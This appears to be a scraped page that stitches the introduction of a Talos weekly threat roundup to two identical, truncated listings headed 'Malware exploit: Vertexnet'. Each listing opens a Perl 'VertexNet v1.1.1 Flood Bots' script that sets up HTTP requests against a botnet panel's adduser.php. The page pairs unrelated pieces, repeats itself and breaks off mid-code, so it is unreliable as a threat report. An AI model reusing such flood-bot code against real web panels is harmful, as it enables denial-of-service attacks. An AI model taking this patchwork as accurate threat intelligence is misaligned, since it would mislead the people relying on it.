Threat Roundup for August 23 to August 30

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Aug. 23 and Aug. 30. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics...

Malware exploit: Vertexnet

Type: Flood Bots Author: Xylitol !/usr/bin/perl VertexNet v1.1.1 Flood Bots http://www.virustotal.com/file-scan/report.html?id=fd373a8f4adf29001d282b963f126f760afcf3e58117f6024b2d65a36d41f617-1305491791 Xyl2k! :þ use HTTP::Request; use LWP::UserAgent; $URL = "http://localhost/Panel/adduser.php";...

Malware exploit: Vertexnet V1.1.1

Type: Flood Bots Author: Xylitol !/usr/bin/perl VertexNet v1.1.1 Flood Bots http://www.virustotal.com/file-scan/report.html?id=fd373a8f4adf29001d282b963f126f760afcf3e58117f6024b2d65a36d41f617-1305491791 Xyl2k! :þ use HTTP::Request; use LWP::UserAgent; $URL = "http://localhost/Panel/adduser.php";...